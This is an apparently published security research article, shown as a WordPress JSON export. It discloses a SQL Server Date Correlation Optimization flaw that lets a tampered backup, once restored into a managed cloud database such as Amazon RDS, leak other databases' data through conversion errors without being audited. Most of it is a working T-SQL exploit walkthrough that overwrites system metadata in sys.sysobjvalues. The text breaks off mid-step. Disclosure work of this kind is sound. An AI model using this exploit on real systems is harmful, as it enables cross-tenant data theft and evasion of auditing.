{"id":108038,"date":"2026-01-07T16:54:00","date_gmt":"2026-01-07T16:54:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=108038"},"modified":"2025-12-17T16:54:16","modified_gmt":"2025-12-17T16:54:16","slug":"exploiting-sql-server-date-correlation-optimization-how-tampered-backups-enable-cross%e2%80%91database-data-leaks","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/exploiting-sql-server-date-correlation-optimization-how-tampered-backups-enable-cross%e2%80%91database-data-leaks\/","title":{"rendered":"Exploiting SQL Server Date Correlation Optimization: How Tampered Backups Enable Cross\u2011Database Data Leaks"},"content":{"rendered":"\n<p><strong>This article is a follow-up to<\/strong> <a href=\"https:\/\/www.red-gate.com\/simple-talk\/cloud\/security-and-compliance\/sql-injection-sql-server%E2%80%90dbaas\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>SQL Server DBaaS Vulnerability: Decrypting System Code &amp; Exfiltrating User Data<\/strong><\/a>, <strong>in which we saw some vulnerabilities that affected pretty much all DBaaS offerings available in the cloud. Now, we&#8217;ll look at another vulnerability that once again affects every major cloud vendor.<\/strong><\/p>\n\n\n\n<p>In this article, I&#8217;ll demonstrate how <a href=\"https:\/\/www.microsoft.com\/en-gb\/sql-server\/#tabs-pill-bar-oc2ce4_tab0\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server\u2019s<\/a> own internal optimization mechanisms &#8211; specifically those tied to Date Correlation Optimization (DCO) &#8211; can be manipulated to carry malicious logic across restore operations. <\/p>\n\n\n\n<p><em>Back in 2009, I wrote my first two Simple Talk articles all about the feature we\u2019ll explore today. Take a look at them to learn more about DCO, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/the-query-optimizer-date-correlation-optimisation\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a> and <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/data-correlation-optimization-internals\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-vulnerability-explained-how-metadata-trust-leads-to-exploits\">The Vulnerability Explained: How Metadata Trust Leads to Exploits<\/h2>\n\n\n\n<p>This vulnerability involves restoring a database into a <a href=\"https:\/\/www.ibm.com\/think\/topics\/dbaas\" target=\"_blank\" rel=\"noreferrer noopener\">DBaaS<\/a> and uses a \u201ccorrupted\u201d internal view, effectively turning the engine\u2019s own intelligence against itself.<\/p>\n\n\n\n<p>The exploit is elegant in a disturbing way, since there&#8217;s no need for <code>xp_cmdshell<\/code>, CLR, or any of the usual suspects &#8211;  just a carefully crafted .bak file and SQL Server\u2019s unwavering belief in its own metadata integrity. <\/p>\n\n\n\n<p>The payload hides where no DBA would look &#8211; system tables that are supposed to be <a href=\"https:\/\/www.red-gate.com\/simple-talk\/opinion\/opinion-pieces\/ninja-immutable-databases\/\" target=\"_blank\" rel=\"noreferrer noopener\">immutable<\/a> &#8211; and executes under a context that was never meant to be controllable by the user.<\/p>\n\n\n\n<p>This is not a misconfiguration or a permission trick &#8211; it&#8217;s a design flaw rooted in how the SQL Server engine trusts its persisted metadata, and how that trust persists across the boundary between a user-managed instance and a <a href=\"https:\/\/www.red-gate.com\/simple-talk\/blogs\/on-premises-vs-cloud\/\" target=\"_blank\" rel=\"noreferrer noopener\">cloud-managed<\/a> environment. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-this-design-flaw-is-serious\">Why This Design Flaw is Serious<\/h2>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><strong>Confidentiality breach across database boundaries<\/strong> &#8211; The exploit allows sensitive rows from other databases (application or system) to be read and returned to an attacker who has no direct permissions on those databases. This is not just reading within the attacker\u2019s database; it breaks isolation.<br><br><\/li>\n\n\n\n<li><strong>Low attacker privileges required<\/strong> &#8211; The only privileged action the attacker need is the ability to restore a user-supplied .bak file into a SQL instance (a normal customer operation). No elevated server roles, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-injection-how-it-works-and-how-to-thwart-it\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL injection<\/a> of live code, or OS access are required.<br><br><\/li>\n\n\n\n<li><strong>Attack executes with engine-level context<\/strong> &#8211; The tampered DCO internal view is executed by the optimizer in a privileged engine context (<code>NOEXPAND<\/code>\/internal execution) &#8211; bypassing normal cross-database <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-access-control-basics\/#:~:text=table%20or%20function).-,Permissions%3A,-Types%20of%20access\" target=\"_blank\" rel=\"noreferrer noopener\">permission checks<\/a> and effectively executing reads that the tenant account cannot perform directly.<br><br><\/li>\n\n\n\n<li><strong>Audit and detection blind spot<\/strong> &#8211; Reads performed by<a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/performance-sql-server\/the-sql-server-query-optimizer\/\" target=\"_blank\" rel=\"noreferrer noopener\"> optimizer-internal queries<\/a> are not attributed to the user\u2019s batch and are frequently not recorded under <code>SENSITIVE_BATCH_COMPLETED_GROUP<\/code> or similar audit categories. That makes<a href=\"https:\/\/www.red-gate.com\/products\/redgate-monitor\/\" target=\"_blank\" rel=\"noreferrer noopener\"> forensic detection and real-time alerting<\/a> unreliable or blind to this vector.<br><br><\/li>\n\n\n\n<li><strong>Persistence and supply-chain style delivery<\/strong> &#8211; The malicious logic is persisted in system metadata and survives a standard <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/sql-server-high-availability-and-disaster-recovery-plan\/\" target=\"_blank\" rel=\"noreferrer noopener\">backup\/restore flow<\/a>. That means an attacker can prepare the payload offline (on a local instance) and deliver it to a managed environment via a legitimate restore operation.<br><br><\/li>\n\n\n\n<li><strong>Wide blast radius<\/strong> &#8211; The exploit can leak data from other application databases <em>and<\/em> from internal databases, increasing the impact beyond a <a href=\"https:\/\/www.cloudzero.com\/blog\/single-tenant-vs-multi-tenant\/\" target=\"_blank\" rel=\"noreferrer noopener\">single tenant schema<\/a> or table.<br><\/li>\n<\/ul>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-s-the-root-cause-of-the-vulnerability\">What&#8217;s the Root Cause of the Vulnerability?<\/h2>\n\n\n\n<p>At the heart of the issue is SQL Server\u2019s implicit trust in its own persisted metadata, specifically, the internal objects created by the Date Correlation Optimization (DCO) feature.<\/p>\n\n\n\n<p>When DCO is enabled, SQL Server automatically generates internal, schema-bound indexed views to optimize date correlation queries between related tables.<\/p>\n\n\n\n<p>Those internal views are stored as text definitions inside system metadata tables (not dynamically regenerated each time the database starts). During a backup and restore, that metadata is faithfully preserved and SQL Server assumes it\u2019s safe because the definitions are system-generated.<\/p>\n\n\n\n<p>However, if someone tampers with those definitions offline (for example, by starting the instance in <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/start-sql-server-in-single-user-mode?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">single-user mode<\/a>, enabling <code><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/allow-updates-server-configuration-option?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">allow updates<\/a><\/code>, and directly modifying <code>sys.sysobjvalues<\/code>), the malicious view definition is embedded permanently inside the database. When the modified .bak is restored into SQL Server, the engine replays the definitions exactly as-is, without <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/validation-verification-modification\/#:~:text=changes%20around%20you.-,Validation,-Validation%20simply%20says\" target=\"_blank\" rel=\"noreferrer noopener\">validation<\/a> or regeneration.<\/p>\n\n\n\n<p>Later, when the optimizer queries those internal DCO views as part of a normal execution plan, it executes the tampered code under engine-level privileges, not the user\u2019s context. This bypasses permission checks and any cross-database <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/subqueries-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">subquery<\/a> inside them can access data outside the attacker\u2019s database.<\/p>\n\n\n\n<p>The final twist: the exfiltration happens through type conversion <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-error-log\/\" target=\"_blank\" rel=\"noreferrer noopener\">errors<\/a>. The malicious predicate forces the optimizer to convert <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/effective-strategies-for-storing-and-parsing-xml-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">XML<\/a> (containing sensitive rows) to an <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/condensing-a-delimited-list-of-integers-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">integer<\/a>. The conversion fails, and the raw XML is embedded directly in the resulting error message &#8211; an elegant, almost invisible, data leak path.<\/p>\n\n\n\n<p>Because these reads are triggered by optimizer internals, no <a href=\"https:\/\/www.red-gate.com\/simple-talk\/blogs\/auditing-sql-server-part-1-discovery-and-documentation\/\" target=\"_blank\" rel=\"noreferrer noopener\">audit trail<\/a> is associated with the attacker\u2019s session, creating a stealthy, privilege-bypassing channel that hides in the most trusted layer of SQL Server\u2019s execution pipeline.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-root-cause-in-technical-terms\">The Root Cause in Technical Terms<\/h2>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><strong>Date Correlation Optimization (DCO) internals:<\/strong><br>When&nbsp;<code>DATE_CORRELATION_OPTIMIZATION<\/code>&nbsp;is enabled, SQL Server automatically creates hidden, schema-bound indexed views (<code>_MPStats_Sys_*<\/code>) and supporting indexes to accelerate correlation queries.<br><br><\/li>\n\n\n\n<li><strong>Persisted view definitions:<\/strong><br>The definition text of these internal views is stored in system metadata (<code>sys.sysobjvalues.imageval<\/code>).<br>This text survives backup\/restore operations.<br><br><\/li>\n\n\n\n<li><strong>Tamperability in local SQL Server:<\/strong><br>On a local SQL Server instance, an attacker with admin control can:<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Start the instance in&nbsp;single-user mode.<\/li>\n\n\n\n<li>Connect via&nbsp;DAC&nbsp;and enable&nbsp;allow updates.<\/li>\n\n\n\n<li>Directly overwrite the stored definition of the internal view in&nbsp;<code>sys.sysobjvalues<\/code>.<\/li>\n\n\n\n<li>Insert a&nbsp;malicious predicate&nbsp;that references another database (e.g.,&nbsp;<code>SensitiveData<\/code>&nbsp;or&nbsp;<code>rdsadmin<\/code>).<br><br><\/li>\n<\/ul>\n<\/div><\/li>\n\n\n\n<li><strong>Trusted restore path:<\/strong><br>When the tampered database is backed up and restored into <a href=\"https:\/\/aws.amazon.com\/rds\/sqlserver\/\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon RDS<\/a>, the engine&nbsp;accepts the persisted definition&nbsp;without regenerating it. Thus, the malicious code is preserved in RDS.<br><br><\/li>\n\n\n\n<li><strong>Optimizer execution context:<\/strong><br>During query compilation\/execution, the SQL Server optimizer internally issues queries against these DCO views using&nbsp;<code>NOEXPAND<\/code>. Because the tampered definition includes a cross-database subquery, the optimizer executes it in the&nbsp;engine\u2019s internal context, bypassing normal cross-database permission checks.<br><br><\/li>\n\n\n\n<li><strong>Leakage via error messages (XML-to-INT Conversion Error):<\/strong><br>The malicious view is engineered to return XML data (containing the sensitive rows) within a predicate that the optimizer expects to evaluate as an integer (e.g.,&nbsp;<code>WHERE 1 = (SELECT ColXML FROM ...)<\/code>). This forced type conversion failure causes the SQL Server engine to embed the raw XML string directly into the error message, providing the data exfiltration channel. When the optimizer attempts to convert a XML into&nbsp;INT, the engine raises a&nbsp;conversion error. The error text embeds the raw XML, exposing the sensitive data.<br><br><\/li>\n\n\n\n<li><strong>Audit bypass:<\/strong><br>Since the sensitive read originates from an\u00a0internal optimizer query\u00a0(not from the user\u2019s explicit batch), it&#8217;s not recorded\u00a0by\u00a0<code>SENSITIVE_BATCH_COMPLETED_GROUP<\/code>. This leaves a critical\u00a0detection blind spot.<br><br><\/li>\n<\/ul>\n<\/div>\n\n\n<p><strong><em>Enjoying this article? You may also be interested in:<\/em><\/strong><\/p>\n\n\n<ul class=\"wp-block-latest-posts__list wp-block-latest-posts\"><li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/cross-database-ownership-chaining-in-sql-server-security-risks-behavior-and-privilege-escalation-explained\/\">Cross-database ownership chaining in SQL Server: security risks, behavior, and privilege escalation explained<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/development\/data-analysis-in-python-and-esproc-spl-compared-what-are-the-differences-and-which-is-best\/\">Data analysis in Python and esProc SPL compared &#8211; what are the differences, and which is best?<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/cloud\/security-and-compliance\/everything-you-need-to-know-about-mongobleed-cve-2025-14847\/\">Everything you need to know about MongoBleed (CVE-2025-14847)<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/development\/syntax-and-data-structures-in-esproc-spl-a-complete-guide\/\">Syntax and data structures in esProc SPL &#8211; a complete guide<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/cloud\/how-to-minimize-downtime-in-a-cloud-migration\/\">How to minimize downtime in a cloud migration<\/a><\/li>\n<\/ul>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-step-by-step-exploit-walkthrough\"><br>Step-by-Step Exploit Walkthrough<\/h2>\n\n\n\n<p>What follows is a step-by-step demonstration of how this subtle metadata trust violation can turn into a full <a href=\"https:\/\/www.ibm.com\/think\/topics\/data-exfiltration\" target=\"_blank\" rel=\"noreferrer noopener\">data exfiltration<\/a> path, bypassing both isolation and audit mechanisms. <\/p>\n\n\n\n<p>The steps show a repeatable, hands-on reproduction of the vulnerability from a user-supplied backup to observable data exfiltration inside Amazon RDS for SQL Server.<\/p>\n\n\n\n<p>They list the exact sequence we used: preparing a sensitive target database and audit policy, creating a malicious DCO artifact on a local instance, backing up and restoring that database into RDS, and triggering the optimizer to execute the tampered view.<\/p>\n\n\n\n<p><strong>Warning:<\/strong> Execute these steps only in controlled test environments &#8211; <strong><em>do not<\/em><\/strong> run them against production systems or systems you don&#8217;t own.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-1-log-in-a-rds-using-sql-server-2022\">1. Log in a RDS using SQL Server 2022:<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Step 1 *\/\n\/* Log in a RDS for MSSQL, any version *\/\n\/* Make sure you have enabled Audit on the RDS instance *\/\n\/* https:\/\/docs.aws.amazon.com\/prescriptive-guidance\/latest\/sql-server-auditing-on-aws\/auditing-rds-sql-instances.html *\/\n\/* Create a DB with some sensitive data *\/\nUSE master\nGO\nIF DB_ID('SensitiveData') IS NOT NULL\nBEGIN\n  ALTER DATABASE SensitiveData SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE SensitiveData\nEND\nCREATE DATABASE SensitiveData\nGO\nUSE SensitiveData\nGO\nDROP TABLE IF EXISTS UserInfo;\nGO\nCREATE TABLE UserInfo ([UserName] VARCHAR(200), [Password] VARCHAR(2000));\nGO\nINSERT INTO UserInfo VALUES('Fabiano', 'This is a very strong password, I am pretty confident that no one will ever be able to crack it, let me add some special characters to make it even stronger 3323123098$#(*^^#%$%!(@#*&amp;, all good!')\nGO\n\/* Adding sensitive classification on columns UserName and Password *\/\nDROP SENSITIVITY CLASSIFICATION FROM [UserInfo].[Password]\nDROP SENSITIVITY CLASSIFICATION FROM [UserInfo].[UserName]\nGO\nADD SENSITIVITY CLASSIFICATION TO [dbo].[UserInfo].[UserName]\nWITH (LABEL='Confidential', LABEL_ID='331f0b13-76b5-2f1b-a77b-def5a73c73c2', INFORMATION_TYPE='Name', INFORMATION_TYPE_ID='c64aba7b-3a3e-95b6-535d-3bc535da5a59', RANK=Medium)\nGO\nADD SENSITIVITY CLASSIFICATION TO [dbo].[UserInfo].[Password]\nWITH (LABEL='Highly Confidential', LABEL_ID='b82ce05b-60a9-4cf3-8a8a-d6a0bb76e903', INFORMATION_TYPE='Credentials', INFORMATION_TYPE_ID='57845286-7598-22f5-9659-15b24aeb125e', RANK=High)\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-2-set-up-audit-on-sensitive-data\">2. Set up audit on sensitive data:<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master;\nGO\nIF NOT EXISTS(SELECT * FROM sys.server_audits WHERE name = 'Audit1')\n  CREATE SERVER AUDIT Audit1 TO FILE (MAXSIZE = 50MB, FILEPATH = 'D:\\rdsdbdata\\audit');\nGO\nALTER SERVER AUDIT Audit1 WITH (STATE = OFF);\nGO\n\/* Create a database audit spec to monitor access to sensitive data and exec on st_1 *\/\nUSE SensitiveData\nGO\nIF EXISTS(SELECT * FROM sys.database_audit_specifications WHERE name = 'DbAuditSpec1')\nBEGIN\n  ALTER DATABASE AUDIT SPECIFICATION DbAuditSpec1 WITH (STATE = OFF);\n  DROP DATABASE AUDIT SPECIFICATION DbAuditSpec1\nEND\nGO\nCREATE DATABASE AUDIT SPECIFICATION DbAuditSpec1\nFOR SERVER AUDIT Audit1 \nADD (SENSITIVE_BATCH_COMPLETED_GROUP)\nWITH (STATE = ON);\nGO\nUSE master;\nGO\nALTER SERVER AUDIT Audit1 WITH (STATE = ON);\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-3-test-the-audit\">3. Test the audit:<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Step 3 *\/\n\/* Test audit *\/\nUSE SensitiveData\nGO\nSELECT \n  rds_fn_get_audit_file.file_name,\n  rds_fn_get_audit_file.event_time,\n  rds_fn_get_audit_file.action_id,\n  sys.dm_audit_actions.name,\n  rds_fn_get_audit_file.application_name,\n  rds_fn_get_audit_file.session_server_principal_name,\n  rds_fn_get_audit_file.database_principal_name,\n  rds_fn_get_audit_file.database_name,\n  rds_fn_get_audit_file.statement\nFROM msdb.dbo.rds_fn_get_audit_file('D:\\rdsdbdata\\audit\\*', NULL, NULL)\nINNER JOIN sys.dm_audit_actions\nON dm_audit_actions.action_id = rds_fn_get_audit_file.action_id;\n\/*\nfile_name                                                                                       event_time                  action_id name                     application_name                                 session_server_principal_name  database_principal_name   database_name  statement\n----------------------------------------------------------------------------------------------- --------------------------- --------- ------------------------ ------------------------------------------------ ------------------------------ ------------------------- -------------- -----------------\nD:\\rdsdbdata\\audit\\Audit1_38F70102-EB81-442D-AB10-F5779D41393D_0_134038858034220000.sqlaudit    2025-10-02 13:36:43.4302802 AUSC      AUDIT SESSION CHANGED    Microsoft SQL Server Management Studio - Query   admin                                           \n\n(1 rows affected)\n*\/\n\n\/* Reading data from UserInfo table *\/\nSELECT * FROM dbo.[UserInfo]\nGO\n\n\/* All good, audit is working, any time someone read UserInfo table, it will be audited *\/\nSELECT \n  rds_fn_get_audit_file.file_name,\n  rds_fn_get_audit_file.event_time,\n  rds_fn_get_audit_file.action_id,\n  sys.dm_audit_actions.name,\n  rds_fn_get_audit_file.application_name,\n  rds_fn_get_audit_file.session_server_principal_name,\n  rds_fn_get_audit_file.database_principal_name,\n  rds_fn_get_audit_file.database_name,\n  rds_fn_get_audit_file.statement\nFROM msdb.dbo.rds_fn_get_audit_file('D:\\rdsdbdata\\audit\\*', NULL, NULL)\nINNER JOIN sys.dm_audit_actions\nON dm_audit_actions.action_id = rds_fn_get_audit_file.action_id;\nGO\n\/*\nfile_name                                                                                       event_time                  action_id name                       application_name                                session_server_principal_name  database_principal_name  database_name   statement\n----------------------------------------------------------------------------------------------- --------------------------- --------- -------------------------- ----------------------------------------------- ------------------------------ ------------------------ --------------- -----------------\nD:\\rdsdbdata\\audit\\Audit1_38F70102-EB81-442D-AB10-F5779D41393D_0_134038858034220000.sqlaudit    2025-10-02 13:36:43.4302802 AUSC      AUDIT SESSION CHANGED      Microsoft SQL Server Management Studio - Query  admin\nD:\\rdsdbdata\\audit\\Audit1_38F70102-EB81-442D-AB10-F5779D41393D_0_134038861044710000.sqlaudit    2025-10-02 13:48:05.2839480 SBC       SENSITIVE BATCH COMPLETED  Microsoft SQL Server Management Studio - Query  admin                          dbo                      SensitiveData   \/* Reading data from UserInfo table *\/  SELECT * FROM dbo.[UserInfo]  \n\n(2\trows affected)\n*\/<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-4-create-a-database-to-be-restored-on-rds-in-a-local-sql-server-instance\">4. Create a database to be restored on RDS in a local SQL Server instance:<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Step 4 *\/\n\/* In a local MSSQL instance, create a special database to be restored on RDS *\/\n\/* I'm running this on my local MSSQL 2022 instance *\/\nUSE master\nGO\nIF DB_ID('Sword_of_Omens') IS NOT NULL\nBEGIN\n  ALTER DATABASE Sword_of_Omens SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE Sword_of_Omens\nEND\nCREATE DATABASE Sword_of_Omens\nGO\nUSE Sword_of_Omens\nGO\n\/* Creating a couple of tables that are necessary for date correlation optimization *\/\nDROP TABLE IF EXISTS Lion\nDROP TABLE IF EXISTS Panthro\nGO\nCREATE TABLE Lion(RowID INTEGER IDENTITY(1,1),\n                  ColDt DATETIME NOT NULL,\n                  PRIMARY KEY (RowID))\nGO\nCREATE TABLE Panthro(RowID INTEGER,\n                     ColDt DATETIME NOT NULL,\n                     PRIMARY KEY NONCLUSTERED(RowID, ColDt))\nGO\n\/* At least one of the DATETIME columns, must belong to a cluster index *\/\nCREATE CLUSTERED INDEX ixPanthro ON Panthro(ColDt)\nGO\n\/* There must to be a foreign key relationship between the tables that contain correlation date *\/\nALTER TABLE Panthro ADD CONSTRAINT fkPanthro_Lion FOREIGN KEY(RowID) REFERENCES Lion(RowID)\nGO\n\/* Inserting some data on tables *\/\nINSERT INTO Lion(ColDt)\nSELECT TOP 1000\n       GETDATE() - ABS(CheckSum(NEWID()) \/ 10000000)\nFROM sysobjects a, sysobjects b, sysobjects c\nGO\nINSERT INTO Panthro(RowID, ColDt)\nSELECT TOP 10\n       ABS(CheckSum(NEWID()) \/ 1000000000) + 1,\n       GETDATE() - ABS(CheckSum(NEWID()) \/ 1000000)\nFROM Lion a, Lion b\nGO\nCREATE INDEX ixDt ON Lion(ColDt)\nGO\n\/* Enable DATE_CORRELATION_OPTIMIZATION will trigger the internal create view and create index commands *\/\nALTER DATABASE Sword_of_Omens SET DATE_CORRELATION_OPTIMIZATION ON;\nGO\n\/*\n-- Internal commands triggered by MSSQL to create indexed view\nCREATE VIEW [dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion] \nWITH SCHEMABINDING AS \nSELECT DATEDIFF(day, convert(datetime2, '1900-01-01', 121), LEFT_T.[ColDt])\/30 as ParentPID, DATEDIFF(day, convert(datetime2, '1900-01-01', 121), RIGHT_T.[ColDt])\/30 as ChildPID, COUNT_BIG(*) AS C \n FROM [dbo].[Lion] AS LEFT_T JOIN [dbo].[Panthro]  AS RIGHT_T \n ON LEFT_T.[RowID] = RIGHT_T.[RowID] \n GROUP BY DATEDIFF(day, convert(datetime2, '1900-01-01', 121), LEFT_T.[ColDt])\/30, DATEDIFF(day, convert(datetime2, '1900-01-01', 121), RIGHT_T.[ColDt])\/30\nGO\nCREATE UNIQUE CLUSTERED INDEX [i__MPStats_Sys_fkPanthro_Lion_3d5e1fd2] ON [dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion](ParentPID,ChildPID)\nGO\n*\/\n\n\/* Running a query that will use date correlation optimization feature *\/\nSELECT * \nFROM Lion\nINNER JOIN Panthro\nON Panthro.RowID = Lion.RowID\nWHERE Lion.ColDt BETWEEN '20250624' AND '20250625'\nOPTION (RECOMPILE)\nGO\n\/*\n-- Internal command used by query optimizer to get values to use on filter\nSELECT DISTINCT\n  [ChildPID],\n  [ChildPID]\nFROM [Sword_of_Omens].[dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion] AS [Tbl1006] WITH (NOEXPAND)\nWHERE [Tbl1006].[ParentPID] &gt;= datediff(\n                                 day,\n                                 CONVERT(datetime, '1900-01-01 00:00:00.000', 121),\n                                 CONVERT(datetime, '2025-06-24 00:00:00.000', 121)) \/ (30)\nAND [Tbl1006].[ParentPID] &lt;= datediff(\n                               day,\n                               CONVERT(datetime, '1900-01-01 00:00:00.000', 121),\n                               CONVERT(datetime, '2025-06-25 00:00:00.000', 121)) \/ (30)\n*\/\n\n\/* Checking the internal view name *\/\nSELECT object_id, name, is_date_correlation_view FROM Sword_of_Omens.sys.views\nGO\n\/*\nobject_id   name                                                                           is_date_correlation_view\n----------- ------------------------------------------------------------------------------ ------------------------\n1045578763  _MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion    1\n*\/\n\n\/* Stop the instance -- net stop \"SQL Server (SQL2022)\" *\/\n\/* Start has single user -- net start \"SQL Server (SQL2022)\" \/m\"TestSQLFabiano\" *\/\n\/* Make sure you are adjusting SSMS additional connection parameters to add the app name (Application Name=TestSQLFabiano) and connect as DAC *\/\n\n\/* Enable allow updates config *\/\nUSE master\nGO\nsp_configure 'allow updates',1\nGO\nRECONFIGURE WITH OVERRIDE\nGO\n\n\/* This need to be executed with SQL on single user and from a DAC connection *\/\n\/* Update view code to add a special where clause *\/\nUSE Sword_of_Omens\nGO\nDECLARE @NewCode VARCHAR(MAX)\nSET @NewCode = 'CREATE VIEW [dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion] \nWITH SCHEMABINDING AS \nSELECT DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), LEFT_T.[ColDt])\/30 as ParentPID, DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), RIGHT_T.[ColDt])\/30 as ChildPID, COUNT_BIG(*) AS C \n FROM [dbo].[Lion] AS LEFT_T JOIN [dbo].[Panthro]  AS RIGHT_T \n ON LEFT_T.[RowID] = RIGHT_T.[RowID]\n  WHERE 1 = (SELECT ColXML FROM [dbo].[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!])\n GROUP BY DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), LEFT_T.[ColDt])\/30, DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), RIGHT_T.[ColDt])\/30'\n\nUPDATE sys.sysobjvalues SET imageval = CONVERT(VARBINARY(MAX), @NewCode)\nWHERE objid = (SELECT object_id FROM sys.views WHERE is_date_correlation_view = 1)\nAND value = 2\n\/*\nWarning: System table ID 60 has been updated directly in database ID 8 and cache coherence may not have been maintained. SQL Server should be restarted.\n\n(1 row affected)\n*\/\nGO\nCHECKPOINT\nGO\n\n\/* Stop the instance -- net stop \"SQL Server (SQL2022)\" *\/\n\/* Start the instance -- net start \"SQL Server (SQL2022)\" *\/\n\/* Reconnect on SQL using a non-dac connection *\/\n\n\/* Backup the DB, we'll restore this on AWS RDS *\/\n\/*\nEXEC xp_cmdshell 'del \/Q C:\\Temp\\Backup\\Sword_of_Omens.bak'\nGO\n*\/\n-- Backup DB\nBACKUP DATABASE Sword_of_Omens TO DISK = N'C:\\Temp\\Backup\\Sword_of_Omens.bak' \nWITH NAME = N'Sword_of_Omens-Full Database Backup'\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-5-restore-sword-of-omens-bak-on-the-rds-instance\">5. Restore Sword_of_Omens.bak on the RDS instance:<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Step 5 *\/\n\/* Restore Sword_of_Omens.bak on RDS instance *\/\n\/* https:\/\/docs.aws.amazon.com\/AmazonRDS\/latest\/UserGuide\/SQLServer.Procedural.Importing.Native.Using.html *\/<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-6-back-on-rds-and-with-sword-of-omens-already-restored-create-a-low-privilege-login\">6. Back on RDS and with Sword_of_Omens already restored, create a low-privilege login: <\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Step 6 *\/\n\/* Back on RDS and with Sword_of_Omens already restored *\/\n\/* Create a login for Sword_of_Omens and only give it access to DB Sword_of_Omens *\/\nUSE master\nGO\nCREATE LOGIN AppLogin WITH PASSWORD=N'102030', CHECK_POLICY=OFF\nGO\n\/* Create a user for AppLogin on DB Sword_of_Omens and give it db_owner on the DB *\/\nUSE Sword_of_Omens\nGO\nCREATE USER AppLogin FOR LOGIN AppLogin;\nALTER ROLE [db_owner] ADD MEMBER 